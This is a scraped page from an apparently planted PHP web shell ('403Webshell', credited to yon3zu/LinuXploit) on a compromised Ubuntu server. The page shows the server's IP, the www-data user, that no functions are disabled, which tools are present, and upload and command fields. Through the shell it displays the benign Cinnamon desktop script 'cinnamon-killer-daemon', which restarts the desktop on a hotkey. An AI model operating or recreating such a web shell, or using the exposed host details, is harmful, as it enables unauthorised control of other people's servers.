403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/bin/cinnamon-killer-daemon
#!/usr/bin/python3

""" Creates a keybinding that allows cinnamon to be restarted by pressing Ctrl + Alt + Esc,
and runs in the background to detect that keybinding
"""

import os
import syslog
from setproctitle import setproctitle

import gi
gi.require_version('Keybinder', '3.0')  # noqa
gi.require_version('Gtk', '3.0')  # noqa
from gi.repository import Keybinder
from gi.repository import Gtk, Gio

SETTINGS_SCHEMA = 'org.cinnamon.desktop.keybindings.media-keys'
SETTINGS_KEY = 'restart-cinnamon'


class KillerDaemon:

    def __init__(self):
        Keybinder.init()
        self.bindings = None
        self.settings = Gio.Settings(schema_id=SETTINGS_SCHEMA)
        self.apply_bindings()
        self.settings.connect('changed::' + SETTINGS_KEY, self.apply_bindings)

    def apply_bindings(self, settings=None, key=None):
        # Ubind the previous bindings
        try:
            if self.bindings is not None:
                for binding in self.bindings:
                    Keybinder.unbind(binding)
        except Exception as detail:
            syslog.syslog(detail)

        # Get the new ones
        self.bindings = self.settings.get_strv(SETTINGS_KEY)

        # Bind them
        try:
            if self.bindings is not None:
                for binding in self.bindings:
                    if Keybinder.bind(binding, self.restart_cinnamon, None):
                        syslog.syslog("Bound Cinnamon restart to %s." % binding)
        except Exception as detail:
            syslog.syslog(detail)

    def restart_cinnamon(self, keystring, data):
        os.system("nemo -n &")  # restart nemo if it's not running already
        os.system("cinnamon-launcher &")  # restart Cinnamon whether it's running or not (can be handy in case of a DE freeze)


if __name__ == '__main__':
    setproctitle("cinnamon-killer-daemon")
    daemon = KillerDaemon()
    Gtk.main()

Youez - 2016 - github.com/yon3zu
LinuXploit